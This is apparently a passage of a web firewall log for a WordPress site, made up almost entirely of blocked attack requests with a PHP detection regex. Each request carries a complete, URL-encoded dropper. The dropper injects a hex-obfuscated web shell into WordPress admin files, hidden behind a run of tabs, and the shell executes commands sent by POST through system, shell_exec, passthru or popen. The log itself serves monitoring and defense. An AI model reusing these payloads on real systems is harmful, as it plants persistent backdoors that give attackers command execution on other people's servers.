%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:40:04","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:6964\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-form-comment.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524comp1%2520%253D%2520%25277%2527%253B%2524comp2%2520%253D%2520%25273%2527%253B%2524comp3%2520%253D%2520%25276%2527%253B%2524comp4%2520%253D%2520%2527c%2527%253B%2524comp5%2520%253D%2520%25275%2527%253B%2524comp6%2520%253D%2520%25271%2527%253B%2524comp7%2520%253D%2520%25278%2527%253B%2524comp8%2520%253D%2520%25272%2527%253B%2524comp9%2520%253D%2520%2527f%2527%253B%2524comp10%2520%253D%2520%25274%2527%253B%2524comp11%2520%253D%2520%2527e%2527%253B%2524comp12%2520%253D%2520%25270%2527%253B%2524comp13%2520%253D%2520%25279%2527%253B%2524data_storage1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25273%2527.%25277%2527.%25279%2527.%2524comp1.%2524comp2.%25277%2527.%25274%2527.%2524comp3.%25275%2527.%25276%2527.%2527d%2527%2529%253B%2524data_storage2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp2.%2524comp3.%25278%2527.%25276%2527.%25275%2527.%25276%2527.%2524comp4.%25276%2527.%2527c%2527.%25275%2527.%2527f%2527.%25276%2527.%25275%2527.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%2524comp3.%25273%2527%2529%253B%2524data_storage3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524comp5.%2524comp1.%25278%2527.%2524comp3.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524data_storage4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%25270%2527.%25276%2527.%2524comp6.%25277%2527.%25273%2527.%25277%2527.%2524comp2.%2524comp1.%25274%2527.%25276%2527.%2524comp7.%2524comp1.%2524comp8.%25277%2527.%25275%2527%2529%253B%2524data_storage5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524comp3.%2524comp9.%2524comp1.%25270%2527.%25276%2527.%25275%2527.%2524comp3.%2527e%2527%2529%253B%2524data_storage6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp1.%2524comp2.%2524comp1.%2524comp10.%2524comp1.%25272%2527.%2524comp3.%25275%2527.%25276%2527.%25271%2527.%25276%2527.%2527d%2527.%2524comp5.%2527f%2527.%2524comp3.%2524comp1.%2524comp3.%2524comp5.%25277%2527.%25274%2527.%25275%2527.%2524comp9.%25276%2527.%2524comp2.%25276%2527.%2524comp9.%2524comp3.%2527e%2527.%2524comp1.%2524comp10.%2524comp3.%2524comp5.%25276%2527.%2524comp11.%25277%2527.%2524comp10.%2524comp1.%25273%2527%2529%253B%2524data_storage7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524comp12.%2524comp3.%25273%2527.%2524comp3.%2524comp4.%25276%2527.%2527f%2527.%25277%2527.%2524comp2.%25276%2527.%2524comp5%2529%253B%2524core_engine%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524comp3.%25273%2527.%25276%2527.%2524comp9.%2524comp1.%25272%2527.%25276%2527.%25275%2527.%25275%2527.%2524comp9.%2524comp3.%2524comp5.%2524comp3.%2524comp11.%25276%2527.%2524comp1.%25276%2527.%2524comp13.%2524comp3.%2527e%2527.%25276%2527.%25275%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524core_engine%255D%2529%2529%257B%2524core_engine%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524core_engine%255D%2529%253Bif%2528function_exists%2528%2524data_storage1%2529%2529%257B%2524data_storage1%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage2%2529%2529%257Bprint%2520%2524data_storage2%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage3%2529%2529%257B%2524data_storage3%2528%2524core_engine%252C%2524flg_elem%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524flg_elem%2529%253B%257Delseif%2528function_exists%2528%2524data_storage4%2529%2529%257B%2524data_storage4%2528%2524core_engine%2529%253B%257Delseif%2528function_exists%2528%2524data_storage5%2529%2526%2526function_exists%2528%2524data_storage6%2529%2526%2526function_exists%2528%2524data_storage7%2529%2529%257B%2524obj_res%253D%2524data_storage5%2528%2524core_engine%252C%2522r%2522%2529%253Bif%2528%2524obj_res%2529%257B%2524marker_key%253D%2524data_storage6%2528%2524obj_res%2529%253B%2524data_storage7%2528%2524obj_res%2529%253Bprint%2520%2524marker_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:40:13","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eT:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:7280\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\neT=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%